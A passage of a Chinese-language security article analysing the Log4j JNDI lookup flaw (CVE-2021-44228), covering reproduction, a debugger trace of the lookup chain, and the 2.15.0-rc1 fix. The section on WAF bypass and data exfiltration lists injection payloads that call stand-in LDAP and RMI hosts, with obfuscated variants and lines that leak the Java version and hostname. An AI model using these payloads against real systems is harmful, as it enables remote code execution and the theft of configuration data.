src="https://wechat2rss.xlab.app/img-proxy/?k=a07833ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31uRQKFqa6xpyeFVAPJcb85lWCvHFn29zF7spON7h0SbdhzXG2Q1eshA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">这里在配置文件里使用</span><span style="font-family:Calibri;">ctx</span><span style="font-family:宋体;">定义记录</span><span style="font-family:Calibri;">userid</span><span style="font-family:宋体;">的值：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.27109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=caee29e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31P5LRAdibyN9mxRc0p9Dsoh8b7NictDjogPN6hnBrAdibfdCrUliciapgB1w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">定义一个接口（</span><span style="font-family:Calibri;">register</span><span style="font-family:宋体;">），通过</span><span style="font-family:Calibri;">ThreadContext </span><span style="font-family:宋体;">映射</span><span style="font-family:Calibri;">userid</span><span style="font-family:宋体;">来自输入值</span><span style="font-family:Calibri;">username</span><span style="font-family:宋体;">：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16771653543307086" data-s="300,640" style="" data-type="png" data-w="1270" src="https://wechat2rss.xlab.app/img-proxy/?k=f6fcc61b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31mb9bSnEG0zSTRA3wGYZoaZj0ibSUx3MA8KOJVNrIZfX1ovzfHE1QfibQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">这样我们访问</span><span style="font-family:Calibri;">register</span><span style="font-family:宋体;">接口</span><span style="font-family:Calibri;">username=jayway123</span><span style="font-family:宋体;">：</span></span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.69296875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f2f8c5e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31RibIPiaz1UFjbwZ8bhxDVEj5QibLLe1jDPcJ1GicInAlMVfL6QRghVZMFg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-left:14px;"><span style="font-family:宋体;font-size:14px;">就获取到我们输入值的日志：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.05546875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d2cc55cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw319rktammvkawXZ4obxyeOxJoQXZOw3xBVGK0rTljNx1J3gqZb4lDfJQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><h2 style="margin-left:0;text-indent:0;"><span style="font-family:黑体;font-size:21px;">二、</span><strong><span style="font-family:Arial;font-size:21px;">CVE-2021-44228</span></strong><br/></h2><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">2.1 </span><span style="font-family:宋体;">漏洞信息</span></span></strong></h3><p style="margin-left:28px;"><span style="font-family:Wingdings;font-size:14px;">² </span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">漏洞类型：</span><span style="font-family:Calibri;">RCE</span></span></p><p style="margin-left:28px;"><span style="font-family:Wingdings;font-size:14px;">² </span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">漏洞等级：</span><span style="font-family:Calibri;">Critical</span><span style="font-family:宋体;">（</span><span style="font-family:Calibri;">CVSS</span><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">10.0</span><span style="font-family:宋体;">）</span></span></p><p style="margin-left:28px;"><span style="font-family:Wingdings;font-size:14px;">² </span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">影响版本：</span><span style="font-family:Calibri;">2.0-beta9</span><span style="font-family:宋体;">到</span><span style="font-family:Calibri;">2.14.1</span></span></p><p style="margin-left:28px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;"><br/></span></span></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">2.2 </span><span style="font-family:宋体;">漏洞原理</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">日志在打印时当遇到</span><span style="font-family:宋体;">“</span><span style="font-family:Calibri;">${</span><span style="font-family:宋体;">”后，以“</span><span style="font-family:Calibri;">:</span><span style="font-family:宋体;">”号作为分割，将表达式内容分割成两部分，前面一部分</span><span style="font-family:Calibri;">prefix</span><span style="font-family:宋体;">，后面部分作为</span><span style="font-family:Calibri;">key</span><span style="font-family:宋体;">，然后通过</span><span style="font-family:Calibri;">prefix</span><span style="font-family:宋体;">去找对应的</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">，通过对应的</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">实例调用</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">方法，最后将</span><span style="font-family:Calibri;">key</span><span style="font-family:宋体;">作为参数带入执行，引发远程代码执行漏洞。</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"><br/></span></span></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">2.3 </span><span style="font-family:宋体;">漏洞复现</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;"> <span style="font-family:Calibri;">1</span><span style="font-family:宋体;">）漏洞探测</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">将输入替换为</span><span style="font-family:Calibri;">payload:${jndi:ldap://dnslog/a}:</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=420d130a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31NxXe0icnibxzNqeEz4Vwoe2UDSSdYH7jrqjUTDjsJByKzol5RwPFed0A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">DNSlog</span><span style="font-family:宋体;">收到请求：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.32734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e53f0e00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31IibzW17qhKcibfcDraYkD8NCBAe957ibibhylBRWx0ciagS0AAZAoop0TXA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;"> </span></p><p><span style="font-family:宋体;font-size:14px;">2）</span><span style="font-family:宋体;font-size:14px;">漏洞利用</span></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">上面这一步打通了，后面就是</span><span style="font-family:Calibri;">JNDI</span><span style="font-family:宋体;">注入流程，和</span><span style="font-family:Calibri;">fastjson</span><span style="font-family:宋体;">反序列化的</span><span style="font-family:Calibri;">gadget</span><span style="font-family:宋体;">利用是一样的，这里不再赘述。</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0868506493506493" data-s="300,640" style="" data-type="png" data-w="1232" src="https://wechat2rss.xlab.app/img-proxy/?k=572166b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31kjSRDlD4icch1ccwaO4ibSFw4TTCPMkmtGL4SAw7UpymaBicwAXUOm7dA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:Calibri;font-size:14px;"> </span></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">2.4 </span><span style="font-family:宋体;">漏洞分析</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">老样子，在漏洞触发点下断点，反推漏洞触发流程：这里根据官方</span><span style="font-family:Calibri;">patch</span><span style="font-family:宋体;">在</span><span style="font-family:Calibri;">JndiManager.lookup</span><span style="font-family:宋体;">处打断点，查看堆栈就很清楚</span><span style="font-family:Calibri;">logger.log</span><span style="font-family:宋体;">到</span><span style="font-family:Calibri;">JNDI.look</span><span style="font-family:宋体;">之间发生了什么：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48515625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=82837272&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31DeFbJqNHOPCW711YebFBqR14piaic3WtyibH3ASELhWwwzALObhohkNXQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;"> <span style="font-family:宋体;">下面针对关键方法的处理逻辑进行分析：</span></span><br/></p><p><span style="font-family:宋体;font-size:14px;">1）</span><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">format()</span><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">MessagePatternConverter</span><span style="font-family:宋体;">匹配日志中是否存在“</span><span style="font-family:Calibri;">${</span><span style="font-family:宋体;">”</span><span style="font-family:Calibri;">,</span><span style="font-family:宋体;">若是则进入</span><span style="font-family:Calibri;">append()</span><span style="font-family:宋体;">：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.17777777777777778" data-s="300,640" style="" data-type="png" data-w="1170" src="https://wechat2rss.xlab.app/img-proxy/?k=f9950502&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31HQ23jYITMDGk0ejgnLoUibSoJIyibUoMeGwbWU1WYx51LialewTQpKy3A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;"> </span><br/></p><p><span style="font-family:宋体;font-size:14px;">2）</span><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">substitute()</span><span style="font-family:宋体;">：通过</span><span style="font-family:Calibri;">prefix/suffixMatcher</span><span style="font-family:宋体;">取出“</span><span style="font-family:Calibri;">${</span><span style="font-family:宋体;">”与“</span><span style="font-family:Calibri;">}</span><span style="font-family:宋体;">”之间的值，进入</span><span style="font-family:Calibri;">resolveVariable</span><span style="font-family:宋体;">方法：</span></span><span style="font-family: Calibri;font-size: 14px;"> </span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3759274525968673" data-s="300,640" style="" data-type="png" data-w="1213" src="https://wechat2rss.xlab.app/img-proxy/?k=76e054d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31UYQ1a34DsHeRaCd33gHckAjWLDaEHH4cxc9dVGUibgksAcnxrXa9g1Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p><span style="font-family:宋体;font-size:14px;">3）</span><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">resolveVariable</span><span style="font-family:宋体;">：使用接口类</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">方法处理，这个方法有多个实现：</span></span><span style="font-family: 宋体;font-size: 14px;"> </span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.09991673605328892" data-s="300,640" style="" data-type="png" data-w="1201" src="https://wechat2rss.xlab.app/img-proxy/?k=a135e24b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31XgTBdPRyuTuYU9iayAEOyic86F1flaBdcAKhdFCKiaq4S0gRDxefsaDCg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">取</span><span style="font-family:Calibri;">prefix</span><span style="font-family:宋体;">到</span><span style="font-family:Calibri;">strLookupMap</span><span style="font-family:宋体;">中使用对应的</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">方法进行处理，</span><span style="font-family:Calibri;">Map</span><span style="font-family:宋体;">里有</span><span style="font-family:Calibri;">java</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">ctx</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">upper</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">sys</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">jndi</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">env</span><span style="font-family:宋体;">等可供解析，这里取到的是“</span><span style="font-family:Calibri;">jndi</span><span style="font-family:宋体;">”：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6640625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0655fe21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31An7eF7fvUaciaqWuz7OndOF6lAxGPQmiaCuorPndhD3Ghf63qQsPbbkQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-left:0;text-indent:0;"><br/></p><p style="margin-left:0;text-indent:0;"><span style="font-family:宋体;font-size:14px;">4）</span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">可见取到</span><span style="font-family:Calibri;">jndi</span><span style="font-family:宋体;">的值：</span><span style="font-family:Calibri;">ldap://dnslog/a</span><span style="font-family:宋体;">，直接进入到</span><span style="font-family:Calibri;">JNDI</span><span style="font-family:宋体;">的</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">实现，即</span><span style="font-family:Calibri;">this.context.lookup(name)</span><span style="font-family:宋体;">进行处理：</span></span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.10703125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7c4a43fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31xu0gk8ArOPgdtLpvx1icjkw5icogyqhcL5LtOuJlIYatQ4nPg1iaZ2PhQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:Calibri;font-size:14px;"> </span></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">2.5 WAF</span><span style="font-family:宋体;">绕过</span><span style="font-family:Calibri;">&amp;</span><span style="font-family:宋体;">数据外带</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">此漏洞出现了一些变式，其实都可以用上节第三步解释，输入不同值交由不同的</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">实现类处理，如：</span></span></p><p><span style="font-family:宋体;font-size:14px;">1）</span><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">WAF</span><span style="font-family:宋体;">绕过</span></span></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">把</span><span style="font-family:Calibri;">payload</span><span style="font-family:宋体;">换为“</span><span style="font-family:Calibri;">j${lower:NDI}</span><span style="font-family:宋体;">”，则进入</span><span style="font-family:Calibri;">lower</span><span style="font-family:宋体;">对应的</span><span style="font-family:Calibri;">LowerLookup</span><span style="font-family:宋体;">处理，处理后</span><span style="font-family:Calibri;">NDI</span><span style="font-family:宋体;">变为</span><span style="font-family:Calibri;">ndi:</span></span><span style="font-family: 宋体;font-size: 14px;"> </span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=21912f34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw317DkhkK0MvhaUVTeOub3VjoEGkpclsbkMSgY6cjpia2ytlbT3Ml2qa4A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">可见这里是</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">逻辑就是调用原生</span><span style="font-family:Calibri;">toLowerCase()</span><span style="font-family:宋体;">方法：</span></span><span style="font-family: Calibri;font-size: 14px;"> </span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.0821806346623271" data-s="300,640" style="" data-type="png" data-w="1229" src="https://wechat2rss.xlab.app/img-proxy/?k=1d3da5c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31gk8OM6jTUgh2OdbiaLSjY9zE0TDx9nXa473PdutuYASAZk3icv05uy2Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;"> <span style="font-family:宋体;">然后再去匹配下一个</span><span style="font-family:宋体;">“</span><span style="font-family:Calibri;">${</span><span style="font-family:宋体;">”，再次递归处理，因此可以将</span><span style="font-family:Calibri;">payload</span><span style="font-family:宋体;">做很多嵌套变式以躲避</span><span style="font-family:Calibri;">waf</span><span style="font-family:宋体;">检测，如：</span></span><br/></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">${${lower:jndi}:${lower:rmi}://domain.com/j}</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}</span></span></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">但如果我们把</span><span style="font-family:Calibri;">payload</span><span style="font-family:宋体;">稍微做一下变化：“</span><span style="font-family:Calibri;">j${lower:</span></span><strong><span style="font-family: 宋体;color: rgb(255, 0, 0);font-size: 14px;"><span style="font-family:Calibri;">-</span></span></strong><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">NDI}</span><span style="font-family:宋体;">”，发现最终会解析为</span><span style="font-family:Calibri;">jNDI</span><span style="font-family:宋体;">，只是多了个“</span><span style="font-family:Calibri;">-</span><span style="font-family:宋体;">”而已：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.29921875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=87996938&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31LQb7A3tq2ESiaI3Fv3uYBnAp3RgxRzHS1lS3BicaicibZlPQGjeVXVqRXg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;"> <span style="font-family:宋体;">原因是这里针对</span><span style="font-family:Calibri;">:-</span><span style="font-family:宋体;">还有处理逻辑，只要匹配到就会解析为</span><span style="font-family:Calibri;">:-</span><span style="font-family:宋体;">和</span><span style="font-family:Calibri;">}</span><span style="font-family:宋体;">之间的值</span><span style="font-family:Calibri;">:</span></span><span style="font-family: 宋体;font-size: 14px;"> </span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.07868852459016394" data-s="300,640" style="" data-type="png" data-w="1220" src="https://wechat2rss.xlab.app/img-proxy/?k=c6b05d7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31d81axGLoib2gEBd7jiakhqsDiaACLuaCq4n7Zyk1N6WR8SwayNBgdJXqw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">如：</span><span style="font-family:Calibri;">j${xxxxxxx:-NDI}</span><span style="font-family:宋体;">都会被处理为</span><span style="font-family:Calibri;">jNDI:</span></span><span style="font-family: Calibri;font-size: 14px;"> </span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.13224489795918368" data-s="300,640" style="" data-type="png" data-w="1225" src="https://wechat2rss.xlab.app/img-proxy/?k=cba2b02d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw3170b5rG9et1I2TWK8UNialnkzBT7d9HbEbyAJUTJnicBMmhNDibib9pAMHg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">这就又出了一批绕过</span><span style="font-family:Calibri;">payload</span><span style="font-family:宋体;">，如：</span></span><br/></p><p><span style="font-family:Calibri;font-size:14px;">j${::-nD}i${::-:}</span><span style="font-family:宋体;font-size:14px;"> <span style="font-family:宋体;">——</span><span style="font-family:Calibri;">&gt;jnDi:</span></span></p><p><span style="font-family:Calibri;font-size:14px;">${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}</span><span style="font-family:宋体;font-size:14px;"> <span style="font-family:宋体;">——</span><span style="font-family:Calibri;">&gt;jndi:rmi://domain.com/j</span></span></p><p><span style="font-family:Calibri;font-size:14px;"> </span></p><p><span style="font-family:宋体;font-size:14px;">2）</span><span style="font-family:宋体;font-size:14px;">数据外带</span></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">如果</span><span style="font-family:Calibri;">jndi</span><span style="font-family:宋体;">被禁用了就无法进行</span><span style="font-family:Calibri;">RCE</span><span style="font-family:宋体;">，但依然可以使用上面的其他解析逻辑，如：</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">${jndi:ldap://${sys:java.version}.domain/a}</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">${jndi:ldap://${hostName}.domain/a}</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2858555885262117" data-s="300,640" style="" data-type="png" data-w="1011" src="https://wechat2rss.xlab.app/img-proxy/?k=6278b739&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31iasNAtIHHu0EmANLaOldQkmxQLAboibf1FibUBvziapByJqogEZwibwTWLw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.37592592592592594" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6f599d03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31m2QR5uR4fBC40Pkn6iayf9u7XfZxfVSdlllQzzt0GBZ4KYgHoMKBS0w%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.37578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d50f2d39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31zTQn9lFJ40W3XLhJE4ky6AkHka1AiaeFmLaGGYaTdoyx4x0zZCRW3Hg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">原理同样和上述一样，跟进发现</span><span style="font-family:Calibri;">sys</span><span style="font-family:宋体;">处理对应的其实是</span><span style="font-family:Calibri;">System.getProperty()</span><span style="font-family:宋体;">方法：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6c0c09ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31O6Z9Fgq49gobWGX7Navbvvyib2ZoKcOibiaCBClAsJnO864VCLbbiaUxpA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">通过这种方式可将</span><span style="font-family:Calibri;">java</span><span style="font-family:宋体;">版本等环境信息、</span><span style="font-family:Calibri;">application.properties </span><span style="font-family:宋体;">等配置文件外带。</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"></span></span><br/></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">2.6 2.15.0-rc1</span><span style="font-family:宋体;">版本修复</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">临时版本</span><span style="font-family:Calibri;">2.15.0-rc1</span><span style="font-family:宋体;">针对此</span><span style="font-family:Calibri;">RCE</span><span style="font-family:宋体;">漏洞进行了修复，重新跑一遍流程，有如下两个变化：</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">1</span><span style="font-family:宋体;">）</span><span style="font-family:Calibri;">toSerializable</span><span style="font-family:宋体;">：默认关闭</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">功能</span></span></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">对比</span><span style="font-family:Calibri;">2.4.1</span><span style="font-family:宋体;">节，在修复后默认变成使用</span><span style="font-family:Calibri;">MessagePatternConverter.SimplePatternConverter</span><span style="font-family:宋体;">的</span><span style="font-family:Calibri;">format</span><span style="font-family:宋体;">方法处理，不再判断是否存在“</span><span style="font-family:Calibri;">${</span><span style="font-family:宋体;">”：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.38515625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=eb834f3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31Jcpyic6wwAx7QdVXJAFhIA5vcHDsBAHyVpqSBSdrXTEdezHPia7ic9KpQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;"> <span style="font-family:宋体;">可见直接将</span><span style="font-family:Calibri;">${</span><span style="font-family:宋体;">字符拼接并打印：</span></span><span style="font-family: 宋体;font-size: 14px;"> </span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.28046875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bffce103&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31ViawES7q1NVNGe9u4bJiaQhA0BjEicfCSF00VAmDxX5nc2dsyYxJ0cVGA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">默认情况下</span><span style="font-family:Calibri;">lookups</span><span style="font-family:宋体;">的值为</span><span style="font-family:Calibri;">0</span><span style="font-family:宋体;">，关闭</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">功能：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2891183478951549" data-s="300,640" style="" data-type="png" data-w="1259" src="https://wechat2rss.xlab.app/img-proxy/?k=68a16ce0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31vA63rHosT4S3bEXfqBiao0EI33rlAHwsicZBklcjknv5qFGSksgdwgbA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">若手动配置开启，仍可走到</span><span style="font-family:Calibri;">Lookup</span><span style="font-family:宋体;">分支，进行</span><span style="font-family:Calibri;">${}</span><span style="font-family:宋体;">的处理：</span></span><span style="font-family: Calibri;font-size: 14px;"> </span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.31070287539936103" data-s="300,640" style="" data-type="png" data-w="1252" 